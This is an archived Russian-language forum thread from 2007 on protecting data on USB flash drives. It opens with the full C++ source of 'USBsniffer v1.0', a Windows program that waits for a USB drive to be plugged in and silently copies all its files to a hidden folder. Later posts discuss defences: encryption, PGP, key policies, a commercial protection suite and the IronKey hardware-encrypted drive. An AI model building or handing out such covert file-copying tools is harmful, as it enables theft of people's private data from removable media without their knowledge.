Loo Опубликовано 5 апреля, 2007 Поделиться Опубликовано 5 апреля, 2007 USB Sniffer /*USBsniffer v1.0*/ /*USBsniffer*/ /*作者:seek*/ /*日期:2007.2.17*/ #include <iostream> #include <stdlib.h> #include <io.h> #include <windows.h> #include <string> #include <sys/types.h> #include <sys/stat.h> using namespace std; void copyfiles(string source,char *target); char *StringToChar(string source); bool IsDirectory(const char* fname); void Init(); int main(int argc,char **argv){ if(argc!=2){ Init(); } else{ while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it; strcat(*(argv+1),"\\1\\"); } if(createDirectory(*(argv+1),NULL)){ DWORD frist=GetLogicalDrives(); DWORD second,n=0; string targetPath="0"; while(1){ // every 3 seconds to estimate if there is a USB device Sleep(3000); second=GetLogicalDrives(); if(second-frist>0){ second-=frist; while(second>>=1) n++; targetPath[0]=n+65; targetPath+=":\\*"; copyfiles(targetPath,*(argv+1)); return 0; } } } } } void copyfiles(string source,char *target){ WIN32_FIND_DATA FindFileData; HANDLE hFind; char *sourceDir=0; int len; sourceDir=StringToChar(source); len=strlen(sourceDir); hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file; sourceDir[len-1]='\0'; // take out '*'; while(1){ if(hFind == INVALID_HANDLE_VALUE){ //file found error break; } else{ char temp[200]; char tempPath[200],tempSource[200]; strcpy(temp,sourceDir); strcat(temp,FindFileData.cFileName); if(IsDirectory(temp)== true){ //estimate whether is a directory if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc strcpy(tempSource,sourceDir); strcat(tempSource,FindFileData.cFileName); strcpy(tempPath,target); strcat(tempPath,FindFileData.cFileName); createDirectory(tempPath,NULL); strcat(tempSource,"\\*"); strcat(tempPath,"\\"); copyfiles(tempSource,tempPath); //Recursion } } else{ //if is a file,copy to target dirc strcpy(tempSource,sourceDir); strcpy(tempPath,target); strcat(tempPath,FindFileData.cFileName); strcat(tempSource,FindFileData.cFileName); CopyFile(tempSource,tempPath,false); } if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file } } FindClose(hFind); //handle closed; } char* StringToChar(string source){ //string convent to char* char *ch=new char[source.length()]; ch=(char*)source.c_str(); return ch; } bool IsDirectory(const char* fname) //Directory estimate { return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false; } void Init(){ //init function cout<<"\nUSBsniffer v1.0 \n"<<endl <<"e.g: usbsniffer c:\\usb\\"<<endl <<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement" <<",and the whole log will be saved to c:\\log.txt"<<endl <<"\nWitten By SeeK QQ:771014"<<endl <<"\n2007.2.17"<<endl; } Ссылка на комментарий Поделиться на другие сайты More sharing options...
ИТБ Опубликовано 6 апреля, 2007 Поделиться Опубликовано 6 апреля, 2007 Коллеги, если с flash-устройствами требуется работать (нельзя отключить), то никакие орг.меры не помогут. Есть одно средство - шифрование, причем ключ шифрования должен быть недоступен пользователю. Тогда хищение данных не приведет к раскрытию их конфиденциальности. В качестве примера такого решения предлагаю познакомиться с СЗД "Панцирь" для ОС Windows 2000/XP/2003 (на сайте www.npp-itb.spb.ru). И обратите внимание на реализацию ключевых политик, это очень важно для противодействия раскрытию информации (при хищении) санкционированным пользователем. Ссылка на комментарий Поделиться на другие сайты More sharing options...
labe Опубликовано 9 апреля, 2007 Поделиться Опубликовано 9 апреля, 2007 PGP и нет проблем, ключ у вас в голове в качестве какого-нибудь символа пароля можно испльзовать какой-нибудь албанский, китайский и т.п. иероглиф, тогда уж точно никто не забрутит Ссылка на комментарий Поделиться на другие сайты More sharing options...
yagellon Опубликовано 27 июля, 2007 Поделиться Опубликовано 27 июля, 2007 «Самоуничтожающаяся» флэшка IronKey По словам производителя, IronKey – самый защищенный флэш-накопитель в мире. В такие заявления вполне можно поверить, так как для шифрования данных на аппаратном уровне в нем использован криптографический чип. Вдобавок, IronKey способен еще на парочку занятных «шпионских штучек», которые будут полезны не только Джеймсу Бонду, но и простым смертным. http://www.habrahabr.ru/pictures/00/00/01/48/21/picture_52.jpg Во-первых, защита на аппаратном уровне подразумевает постоянное шифрование данных (причем в режиме AES CBC) перед их непосредственной записью. Чтобы получить доступ к информации требуется вести личный пароль. Ключи генерируются криптографическим процессором и аппаратным генератором случайных чисел. Так что если с запоминанием пароля у вас проблемы, то ждите неприятностей: после десятка последовательных попыток ввода неправильного пароля IronKey самоуничтожается. Спецэффектов в виде взрывов и фейерверка не ждите — уничтожаются только данные. Причем физически перезаписывается каждый байт (использована технология «flash-trash»), что делает информацию полностью не подлежащей восстановлению. Во-вторых, IronKey (кроме аппаратной защиты данных) предоставляет пользователю возможность скрытного web-серфинга. Если зайти (залогиниться) на сайт компании, что подразумевает и ввод пароля и наличие подключенной к ПК флэшки, то можно активировать защищенный режим просмотра web-страниц. Это делает Firefox (и, судя по информации производителя, только Firefox) защищенным от вредоносных программ (malware) браузером-невидимкой. Еще одна фича IronKey, явно рассчитанная на параноиков — предотвращение аппаратного криптоанализа. При физическом взломе флэшки ее «нутро» заполняется черной вязкой жидкостью, что делает дальнейшие попытки разобраться «и что там было на диске» просто бесполезными. Гигабайтный мега-защищенный девайс IronKey стоит $79, а 4-гигабатный — $149. via Gizmodo источник Ссылка на комментарий Поделиться на другие сайты More sharing options...
ИТБ Опубликовано 21 августа, 2007 Поделиться Опубликовано 21 августа, 2007 "Игрушки" хороши для Бонда. При защите же конфиденциальных данных, хищение которых может нанести большой вред, надо формулировать и решать задачи профессионально. Если мы говорим о шифровании на флеш, то не так важно, программно, аппаратно, важно, чтобы пользователь, имея эту флэш, украв компьютер со свеми установленными драйверами защиты, не смог дома все это расшифровать. А это уже вопросы реализации ключевой политики - несколько ключей, только один из которых доступен пользователю. Здесь шла речь о троянах, нет ничего проще предотвратить возможность запуска на компьютере любого деструктивного кода, необходимо защищать системный диск от модификации даже с правами System - не сложная задача. Можно разграничивать права доступа к ресурсам для процессов, например, для winword.exe (сохраните и системный диск и реестр). Нужно просто использовать комплексные эффективные средства защиты, обладающие соответствующим набором механизмов защиты, которых нет в ОС. Кстати, цена подобной системы, сопоставима с ценой одной "флешки для Бонда". Просто, если хотим защитить, надо начинать с азов, а не "вырывать" из множества отдельную, замечу, одну из простейших в части практического решения, задачку защиты и долго обсуждать, как ее решить. Ссылка на комментарий Поделиться на другие сайты More sharing options...
Рекомендуемые сообщения
Заархивировано
Эта тема находится в архиве и закрыта для дальнейших ответов.